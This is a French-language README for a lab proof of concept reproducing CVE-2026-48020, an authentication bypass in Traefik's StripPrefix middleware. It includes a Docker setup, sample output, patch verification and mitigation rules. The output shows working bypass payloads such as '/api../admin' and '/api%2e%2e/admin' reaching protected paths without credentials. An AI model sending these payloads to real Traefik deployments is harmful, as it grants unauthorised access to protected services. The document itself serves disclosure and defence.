
Preuve de concept en laboratoire pour CVE-2026-48020, démontrant un contournement d'authentification critique dans le middleware StripPrefix de Traefik via la normalisation des chemins. Inclut un environnement de reproduction basé sur Docker et des scripts de vérification.
Une preuve de concept autonome pour la CVE-2026-48020, un contournement
de l'authentification/des autorisations au niveau de la route dans le middleware
StripPrefix de Traefik, provoqué par une normalisation du chemin effectuée après les décisions de routage.
Une requête telle que GET /api../admin est acheminée via un routeur public PathPrefix(\/api`)au moment du routage (le middlewarebasicAuthdu routeur protégé n'est donc jamais attaché), mais une fois queStripPrefixa retiré/apiet quereq.URL.JoinPath()de Go a normalisé le/../admin/admin` — un chemin censé être protégé.
restant, le backend reçoit| CVE | CVE-2026-48020 |
| GHSA | GHSA-xf64-8mw2-4gr2 |
| CVSS 3.1 (NVD) | 10.0 Critique (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Affecté | Traefik <= v2.11.46, <= v3.6.17, <= v3.7.1 |
| Corrigé dans | v2.11.48, v3.6.19, v3.7.3 |
client (poc.py)
│ GET /api../admin ← no credentials
▼
Traefik :18080 ──routing──▶ public-api router (PathPrefix /api) + StripPrefix
(skips) protected router (PathPrefix /admin) + basicAuth
│ after StripPrefix("/api"): /../admin ──JoinPath()──▶ /admin
▼
backend :9000 ──▶ 200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }
| Fichier | Rôle |
|---|---|
docker-compose.yml | Démarre un Traefik vulnérable (v3.7.1) + un backend Python |
dynamic.yml | Configuration dynamique de Traefik : une route publique /api avec strip et une route protégée /admin,/internal derrière basicAuth |
backend.py | Mini backend qui renvoie un secret pour les chemins protégés |
poc.py | Envoie les payloads de contournement et indique quels chemins ont été atteints |
docker compose up -d --wait # start Traefik v3.7.1 + backend
python3 poc.py # run the bypass checks
[*] Target: http://127.0.0.1:18080
[blocked] direct protected (auth enforced) /admin
-> status=401 body=...
[blocked] direct protected (auth enforced) /internal/config
-> status=401 body=...
[safe ] public strip + exclusion (safe) /api/admin
-> status=404 body=...
[safe ] public strip + exclusion (safe) /api/internal/config
-> status=404 body=...
[!] BYPASS literal .. /api../admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
[!] BYPASS encoded %2e%2e /api%2e%2e/admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.
v3.7.3)Les payloads de contournement renvoient 404 au lieu de 200. Le correctif (PR Traefik
#13215) rejette toute requête
dont le chemin diffère après la normalisation StripPrefix/StripPrefixRegex,
si bien que la réécriture /../admin est détectée et refusée.
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py # bypass payloads now return 404 -> "No bypass observed"
Empêcher la route publique de correspondre à la forme de traversée :
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`) + StripPrefix(`/api/`)
Signalée aux mainteneurs de Traefik par WonYun / kyun0 (GitHub : H4ck2) ; corrigée dans GHSA-xf64-8mw2-4gr2. Ce lab PoC est une reproduction indépendante réalisée pour l'article associé : https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.